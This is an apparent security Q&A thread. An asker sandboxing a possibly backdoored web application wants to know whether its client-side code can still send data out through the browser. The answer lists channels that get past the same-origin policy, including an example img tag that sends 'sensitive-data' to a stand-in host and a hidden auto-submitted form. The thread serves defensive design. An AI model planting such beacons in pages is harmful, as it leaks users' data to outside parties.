Client-side cross-site access in SSL environment - when it's still possible to do?

Question

I'm trying to imagine an secure sandboxed environment for an application which is big and unexplored, and may contain backdoors. It would live under chroot/virtual environment with no outgoing connections enabled, and all incoming connections will come from local SSL frontend using self-made CA and self-signed client certificate (Apache's RequireSSL directive).

So, no one will be able to connect to application and steal it's data via some backdoor. However, I wonder if the application's client side is technically able to do cross site requests via browser.

Can a page which is open in a self-made SSL context let one of its javascript elements to connect to another server without issuing a visible warning?

Answer 1

There are a couple of ways, which allow a web application to transmit information to another server using the browser as relay. The same origin policy prevents other websites from accessing a sensitive website, but there are a number of access types that are not restricted.

For example:

• The img-tag can be used to load an image from any server: <img src="http://example.com/?log=sensitive-data">
• css and javascript files can be loaded the same way
• Forms can be submitted to any server. The can be hidden in an invisible iframe and submitted automatically by JavaScript: <form action="http://example.com/" method="POST">
• There are cross origin requests in HTML5 using the XMLHttpRequest JavaScript object: HTML5 Top 10 Threats: Stealth Attacks and Silent Exploits